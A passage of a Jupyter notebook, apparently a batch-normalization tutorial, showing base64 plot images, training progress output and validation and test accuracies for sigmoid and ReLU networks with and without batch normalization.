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\n++8HYM6cOcyfPx+A8ePHM3ny5MC5NmzYAMDs2bMpKyujb9++FBQUMH78eM477zzy8/NJTEwM2e66\nidfzzjsPgCeffJK33nqLiooKMjMzefHFF3n99dcpKChgzJgxJCYmkp+fz4YNG3jggQc4cuQI8fHx\nvP/++wDs3buX4cOHs337dm699VZmzZoV8n0ffvhhnnrqKUaMGNGoPb/85S8pKCggJiaGOXPmkJ2d\nzcsvv8zixYspKyujpqaG6dOn8/jjj9O+fXuKioq44447SEtLY+7cuRw5coSlS5fSs2fP5v3HNpN/\negrunEJcfOgPjTHm5C666CJiYmLYtWsXeXl5XH311QwcOJD8/HwKCgpIS0ur94dXXFwcTz75JKNG\njaKwsJBRo0YBsHnzZt59913WrFnD9OnTqaqqYt26dSxYsIAPP/yQ1atX84c//IGPP/64ybaMHDmS\njIwM/vjHP1JYWBgyITz88MOkp6eTmprK6NGjufDCCwGYOHEia9euZcOGDVRUVLBs2bLA+XJycigs\nLCQ6OppRo0Yxd+5c1q9fz3vvvRd4j8LCQhYuXEhRURELFy5k9+7djd4b4OqrryYuLo7c3Nx66194\n4QVEhKKiIv76179y1113BRLXRx99xKJFi/jXv/4FwPr165k3bx6bNm3i1VdfZevWraxZs4axY8fy\n/PPPN/e/rtn801OodbpiCfE2fGQiR8O/6M/GNfuZmZnk5eWRl5fHQw89xJ49e8jLyyM5OZnBgwc3\n6xw//OEPiY+PJz4+ngsvvJAvv/ySVatWceuttwb+mr/tttv497//zU033dTitj7zzDOMHDmSsrIy\nhg4dGhjeys3NZdasWZSXl3Pw4EH69OnDj3/843rHbtmyhc6dO3PVVVcBkJSUFNg2dOhQkpOTAejd\nuzeff/45Xbt2JZTHHnuMGTNm8PTTTwfWrVq1ikmTJgHQq1cvunXrxtatTvm3YcOG0aFDh8C+V111\nFZ07dwagZ8+eXH/99QD06dOH/Pz8Fn9vmuKbnkJttdNTSEiwpGDM6aibVygqKqJv374MGjSI/Pz8\nwC/c5ogP+uMsOjr6hOPnMTEx1NbWBl635Br8tm3bkpWVxapVq6isrOS+++5j0aJFFBUVcc8995zy\nOU+l/ddddx0VFRWsXr26WeeuS4qh3isqKirwOioqypN5B98khSPuf7r1FIw5PZmZmSxbtowOHToQ\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa7ed1f128>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(True, 1, tf.nn.sigmoid)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Using sigmoid works better than ReLUs for this higher learning rate. However, you can see that without batch normalization, the network takes a long time tro train, bounces around a lot, and spends a long time stuck at 90%. The network with batch normalization trains much more quickly, seems to be more stable, and achieves a higher accuracy." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a ReLU activation function, a learning rate of 2, and bad starting weights.**<a id=\"successful_example_lr_2\"></a>" ] }, { "cell_type": "code", "execution_count": 18, "metadata": { "scrolled": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:35<00:00, 1392.83it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.0957999974489212\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:33<00:00, 536.51it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9127997159957886\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.09800000488758087\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9054000973701477\n" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAYUAAAEWCAYAAACJ0YulAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzsnXl8FdXZ+L9PAgkhCYQ1LGGTVXYhgOIW6oa4VWtd2rq0\nVV5q1Wpb+2rr69bVpf601latdWlrVWrVKsVdoiAga5B9DxASlixkIwlZzu+PM5M79+YmubnJTQJ5\nvp8Pn7kzc+bMOTeXeeZZjxhjUBRFURSAqLYegKIoitJ+UKGgKIqi1KJCQVEURalFhYKiKIpSiwoF\nRVEUpRYVCoqiKEotKhROYERkqIgYEenk7L8nIjeE0jaMe/1cRJ5vzniVyCAiz4jI/7X1OBpDRNJE\nZGNLt1WahmieQvtFRN4HVhhj7gs4fhnwLJBijKlq4PqhwG6gc0PtwmibBvzDGJPS6CRaCOeei4C7\njTEPt9Z9WxMReQD4BVDuHMoBPgR+bYzJaatxBUNEzgTec3eBrkCpp8lYY8zeVh+Y0mxUU2jfvAx8\nR0Qk4Ph1wCuNPbxPMG4A8oHrW/vG4WpPYfK6MSYR6AlcDvQDVotI/3A6E5HolhycizFmsTEmwRiT\nAIxzDie5xwIFgohEiYg+b44D9I/Uvnkb6AWc6R4QkR7AxcDfnP2LRGStiBSJyD7nbTMoIpIuIjc5\nn6NF5DERyRWRXcBFAW2/KyKbRaRYRHaJyP84x+Oxb4gDRKTE+TdARB4QkX94rr9URDaKyBHnvid7\nzmWKyE9F5CsRKRSR10WkSwPjjgeuBH4IjBSR1IDzZ4jIUude+0TkRud4nIj8XkT2OPdZ4hxLE5Gs\ngD4yReRc5/MDIvKGiPxDRIqAG0Vkuogsc+6RIyJ/FJEYz/XjROQjEckXkYOOOa2fiBwVkV6edlNE\n5LCIdK5vvgDGmEpjzEbgauAw8BPn+htFZEnA2I2IjHA+vyQifxaRhSJSCsxyjv3KOZ8mIlki8hMR\nOeTM5buevnqJyLvO72mliPwq8H6h4nzfvxSRZVgtYrCI3O